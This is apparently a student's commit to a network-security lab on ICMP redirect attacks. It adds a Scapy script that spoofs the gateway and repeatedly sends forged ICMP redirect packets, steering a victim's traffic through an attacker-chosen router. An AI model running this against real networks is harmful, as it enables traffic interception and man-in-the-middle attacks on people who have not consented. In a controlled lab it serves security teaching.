finished lab icmp

ICMP_Directing/Labsetup/volumes/task1.py

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+#!/usr/bin/python3
+from scapy.all import *
+
+# ICMP Redirect packet
+# IP layer: src must be the current gateway, dst is the victim
+ip = IP(src='10.9.0.11', dst='10.9.0.5')
+# ICMP layer: type 5 is redirect, code 1 is for host
+icmp = ICMP(type=5, code=1)
+# The IP address of the new gateway
+icmp.gw = '10.9.0.111'
+
+# The ICMP Redirect packet must contain the original IP packet that triggered it
+# Victim's IP to the target destination
+ip2 = IP(src='10.9.0.5', dst='192.168.60.5')
+
+import time
+# Full packet construction: IP/ICMP/original-IP/original-ICMP
+pkt = ip/icmp/ip2/ICMP()
+while True:
+    send(pkt, iface='eth0', verbose=True)
+    time.sleep(1)